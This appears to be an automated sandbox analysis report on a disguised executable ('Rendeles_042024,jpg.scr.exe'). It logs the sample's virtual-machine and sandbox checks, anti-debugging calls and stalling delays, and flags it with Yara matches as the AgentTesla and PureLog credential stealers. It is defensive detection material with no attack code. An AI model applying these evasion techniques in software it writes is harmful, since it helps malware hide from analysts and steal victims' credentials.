Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2884, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLLESELECT * FROM WIN32_COMPUTERSYSTEM

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 2FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 3180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 3010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 57C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 67C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 68F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 78F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: A3F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: B3F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: B880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: C880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 2E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 2FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Memory allocated: 4FA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599856	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599734	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599551	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599107	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 598888	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 595311	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594950	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594841	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594704	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594344	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593360	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593110	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592985	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592860	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592735	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592610	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592448	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592330	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 591016	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 590887	Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Window / User API: threadDelayed 2533			Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Window / User API: threadDelayed 7278			Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 7080	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4408	Thread sleep count: 2533 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -599856s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4408	Thread sleep count: 7278 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -599734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -599551s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -599107s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -598888s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -98891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -98672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -98563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -98438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -98071s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -96910s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -595311s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -594950s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -594841s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -594704s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -594344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -593610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -593485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -593360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -593235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -593110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -592985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -592860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -592735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -592610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -592448s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -592330s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -591016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe TID: 4368	Thread sleep time: -590887s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599856	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599734	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599551	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599107	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 598888	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99780	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99563	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 98891	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 98672	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 98563	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 98438	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 98071	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 96910	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 595311	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594950	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594841	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594704	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594344	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593360	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 593110	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592985	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592860	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592735	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592610	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592448	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 592330	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 591016	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Thread delayed: delay time: 590887	Jump to behavior

Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247421513.00000000012A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'
Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBox

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Code function: 4_2_02E47EF8 CheckRemoteDebuggerPresent,

4_2_02E47EF8

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process created: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"			Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process created: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"			Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3249220624.000000000302D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3249220624.0000000003035000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3249220624.0000000003004000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2140, type: MEMORYSTR

Yara detected PureLog Stealer

